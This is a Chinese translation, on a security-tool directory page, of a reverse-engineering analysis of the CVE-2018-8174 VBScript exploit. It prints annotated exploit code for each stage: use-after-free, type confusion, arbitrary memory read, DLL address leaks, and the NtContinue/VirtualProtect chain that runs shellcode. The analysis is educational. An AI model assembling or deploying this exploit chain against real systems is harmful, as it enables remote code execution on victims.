Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2018-8174_analysis — VBS 漏洞利用 CVE-2018-8174 分析 | Kitploit
工具/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
内存取证漏洞分析漏洞利用逆向工程学习与教育二进制利用
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

VBS 漏洞利用 CVE-2018-8174 分析

查看仓库
301428年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

剖析现代浏览器漏洞利用:CVE-2018-8174 案例分析

概述

当这个漏洞利用在四月和五月之交刚刚出现时,它引起了我的兴趣,因为尽管混淆程度很高,代码结构却显得井井有条,而且漏洞利用代码足够短小,使分析变得更加简单。我下载了 GitHub 上的 POC,并认为它是深入剖析的好候选。当时已经有两篇分析发布,一篇来自 360,另一篇来自 卡巴斯基。它们都帮助我理解了其工作原理,但还不足以让我深入了解该漏洞利用的每一个方面。因此我决定自己进行分析并分享我的发现。

预处理

首先,为了去除整数混淆,我在 Python 脚本中使用了正则表达式替换:

root@kitploit:~
import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

至于混淆的名称,我在分析过程中逐步对其进行了重命名。建议在阅读本分析时对照源代码,文末附有链接。

释放后使用

当对象被终止并调用自定义函数 Class_Terminate() 时,漏洞便会出现。在该函数中,对被释放对象的引用被保存在 UafArray 中。从此以后,UafArray(i) 便指向已删除的对象。

root@kitploit:~
Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

还要注意 Class_Terminate() 中的最后一行。当我们将 ClassTerminate 对象复制到 UafArray 时,其引用计数会增加。为了平衡这一点,我们通过向 FreedObjectArray 赋其他值来再次释放它。如果没有这一步,即使对其调用 Class_Terminate,对象的内存也不会被释放,下一个对象也就无法在其位置被分配。

VBScriptClass::Release method

创建和删除新对象的操作在循环中重复 7 次,之后会创建一个 ReuseClass 类的新对象。它被分配在之前由 7 个 ClassTerminate 实例占用的同一块内存中。

为了更好地理解这一点,下面是一个简单的 WinDbg 脚本,用于跟踪所有这些分配:

root@kitploit:~
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

以下是 UafTrigger 函数的分配日志:

root@kitploit:~
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

我们可以立即看到,ReuseClass 确实被分配在先前 7 个 ClassTerminate 实例所占用的同一块内存中。

这一过程重复了两次。我们最终得到两个由 UafArrays 引用的对象。这些引用均未反映在对象的引用计数中。

在这个日志中我们还可以注意到,即使在调用 Class_Terminate 之后,仍有一些对象操作会改变其引用计数。

这就是为什么如果我们不在 Class_Terminate 中平衡该计数器,就会得到类似下面的结果:

root@kitploit:~
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

分配地址不同。漏洞利用将无法创建_释放后使用_条件。

类型混淆

在创建了这两个对象并各自拥有 7 个未计入的引用之后,我们便建立了任意内存读取原语。

有两个相似的类 ReuseClass 和 FakeReuseClass。用后者替换前者会导致 mem 成员上发生类型混淆。

root@kitploit:~
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

在 SetProp 函数中,ReuseClass.mem 被保存,并调用类 ReplacingClass_* 的 Default Property Get,该调用的结果将被放入 ReuseClass.mem。

root@kitploit:~
Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

在该 getter 内部,通过将每个元素赋值为 0 来清空 UafArray。这会导致对 UafArray 所引用的 ReuseClass 对象调用 VBScriptClass::Release。结果表明,在此执行阶段,ReuseClass 对象的引用计数等于 7,由于我们调用了 7 次 Release,该对象被释放。而且因为这些引用来自_释放后使用_情形,它们并未计入引用计数。

在 ReuseClass 的位置上分配了一个新的 FakeReuseClass 对象。现在为了让其引用计数等于 7,就像 ReuseClass 那样,我们将其赋值给 UafArray 7 次。

以下是此操作前后的内存布局。

Replacing ReuseClass with FakeReuseClass

Diagram for VBScript objects

完成此操作后,getter 函数将返回一个值,该值会被赋给旧的 ReuseClass::mem 变量。从内存转储中可以看出,旧值位于新值之前 0xC 字节处。这些对象是经过特殊构造才造成这种情况的,例如通过选择合适的函数名长度。现在,写入 ReuseClass::mem 的值将覆盖 FakeReuseClass::mem 的头部,从而造成_类型混淆_情形。

Type confusion on mem member

root@kitploit:~
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY structure as string
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'String with nulls, used as memory to write to

objectImitatingArray.mem = FakeArrayString

最后一行将字符串 FakeArrayString 赋值给 objectImitatingArray.mem。此时头部的值为 VT_BSTR

root@kitploit:~
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0

这个值将 objectImitatingArray.mem 的类型覆盖为 VT_ARRAY | VT_VARIANT,现在指向字符串的指针将被解释为指向 SAFEARRAY 结构的指针。

任意内存读取

最终结果是,我们得到两个 FakeReuseClass 对象。其中一个对象的 mem 成员数组可寻址整个用户空间(0x00000000 - 0x7fffffff),另一个对象的成员类型为 VT_I4(4 字节整数),其指针指向一个空的 16 字节字符串。利用第二个对象,可以泄漏出字符串指针:

root@kitploit:~
some_memory=resueObjectB_int.mem

它稍后将被用作可写内存中的地址。

下一步是泄漏 vbscript.dll 内的任意地址。这里使用了一个非常巧妙的手法。

root@kitploit:~
Function LeakVBAddr
	On Error Resume Next
	Dim emptySub_addr_placeholder
	emptySub_addr_placeholder=EmptySub
	emptySub_addr_placeholder=null
	SetVarData emptySub_addr_placeholder
	LeakVBAddr=ReadRawPointer()
End Function

首先我们定义,出现错误时脚本应继续正常执行。然后尝试将 EmptySub 赋值给一个变量。这在 VBS 中是不可能的,但在生成错误之前,仍会有一个值被压入堆栈。下一条指令会将 null 赋值给该变量,它通过简单地将堆栈中最后一个值的类型改为 VT_NULL 来实现。现在 emptySub_addr_placeholder 持有指向该函数的指针,但其类型被设置为 VT_NULL。

root@kitploit:~
Function ReadRawPointer
	resueObjectA_arr.mem(some_memory)=3						' set var type to type vbLong 
	ReadRawPointer=resueObjectA_arr.mem(some_memory+8)		' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
	resueObjectA_arr.mem(some_memory+8)=ref				' set data
End Sub

然后这个值被写入我们可写的内存中,其类型被改为 VT_I4,并作为整数读回。

如果我们检查这个值的内容,会发现它是一个指向 CScriptEntryPoint 的指针,其第一个成员是指向 vbscript.dll 内部的 vftable。

Leaking vbscript.dll address

要从任意地址读取值(此处为从 LeakVBAddr 返回的指针),可以使用以下函数:

root@kitploit:~
Function GetUint32(addr)
	Dim value
	resueObjectA_arr.mem(some_memory+8)=addr+4		' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] == [addr]
	resueObjectA_arr.mem(some_memory)=8				' set type to VT_BSTR
	value=resueObjectA_arr.ReadBstrValll
	resueObjectA_arr.mem(some_memory)=2				' set type to original VT_I2
	GetUint32=value
End Function
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function

读取是通过先将 address+4 写入可写内存,然后将类型改为 VT_BSTR 来实现的。现在 address+4 被视为指向 BSTR 的指针。如果对 address+4 调用 LenB,它将返回 address 所指向的值。为什么?因为根据 BSTR 的定义,Unicode 值前面是其长度,而 LenB 返回的正是该长度。

LenB implementation

现在,既然 vbscript.dll 内的地址已被泄漏,并且已经建立了_任意内存读取_能力,剩下的就是正确遍历 PE 头以获取所有需要的地址。

root@kitploit:~
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")

此处不会详细说明具体方法。这篇文章非常详细地解释了 PE 文件。

触发代码执行

最终的代码执行分两步实现。首先构建一个包含两次调用的调用链,但这不是 ROP 链。NtContinue 被提供一个 CONTEXT 结构,该结构将 EIP 设置为 VirtualProtect 地址,并将 ESP 设置为包含 VirtualProtect 参数的结构。

root@kitploit:~
Function VirtualProtectCallParameters(shellcodePtr)
	Dim result
	result = String(10000,Unescape("%u4141"))    		' 'A' * 0x10fdc - padding, this space will be used as stack
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - address to return to after VirtualProtect
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - lpAddress	(1st param for VirtualProtect)
	result = result & UnescapeValue(12288)			' 0x3000 - size (2nd param for VirtualProtect)
	result = result & UnescapeValue(64)			' 0x40 	- newProtect (3rd param for VirtualProtect) 
	result = result & UnescapeValue(shellcodePtr-8)		' &(shellcode-8) - lpOldProtect (4th param for VirtualProtect)
	result = result & String(6,Unescape("%u4242"))		' 'B' * 12	- padding and allignment
	result = result & StructWithNtContinueAddr()		' \x00 * 3  NtContinue * 4 \x00
	result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - padding
	VirtualProtectCallParameters = result
End Function

Function StructForNtContinue(structForVirtualProtect)
	Dim result
	Dim ntContinuePtr
	ntContinuePtr = structForVirtualProtect + 35
	result = ""
	result = result & UnescapeValue(ntContinuePtr)
	result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8  - initalize _CONTEXT with 'A'
	result = result & UnescapeValue(VirtualProtect)		' VirtualProtect - _EIP in _CONTEXT struct
	result = result & UnescapeValue(27)			' 0x1b - CsSeg in _CONTEXT struct
	result = result & UnescapeValue(0)			' 0x00 - EFLAGS in _CONTEXT struct
	result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP in _CONTEXT struct
	result = result & UnescapeValue(35)			' 0x23 - SsSeg in _CONTEXT struct
	result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - padding
	StructForNtContinue = result
End Function

SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)

首先使用前面描述的技术获取 shellcode 的地址,即把变量类型改为 VT_I4 并读取指针。

接下来构建一个 VirtualProtect 的结构,其中包含所有必要参数,如 shellcode 地址、大小以及 RWX 保护。它还有一块空间,将用于 VirtualProtect 内部的堆栈操作。之后构建 CONTEXT 结构,EIP 设置为 VirtualProtect,ESP 设置为其参数。该结构的第一个值是指向 NtContinue 地址的指针,该指针重复了 4 次。

启动此调用链之前的最后一步是将该结构以字符串形式保存在内存中。

root@kitploit:~
Sub TriggerCodeExecution
	resueObjectA_arr.mem(some_memory)=&h4d
	resueObjectA_arr.mem(some_memory+8)=0
End Sub

然后使用该函数启动调用链。它首先将已保存结构的类型改为 0x4D,然后将其值设为 0,这会导致调用 VAR::Clear。

Code execution

以下是来自调试器的动态视图

Code execution

虽然这个执行链看起来可能很复杂,但其实非常简单,只有两步。先用 CONTEXT 结构调用 NtContinue,使其指向 VirtualProtect。然后 VirtualProtect 会禁用包含 shellcode 的内存页上的 DEP,之后返回到 shellcode 中执行。

结论

CVE-2018-8174 是一个很好的例子,展示了如何通过串联多个释放后使用和类型混淆条件,以非常巧妙的方式实现代码执行。它是一个极好的学习范例,有助于理解此类漏洞利用的内部机制。

相关链接

带注释的漏洞利用代码

卡巴斯基的根因分析

360 的分析

卡巴斯基的另一篇分析

趋势科技对 CVE-2014-6332 的分析

下载工具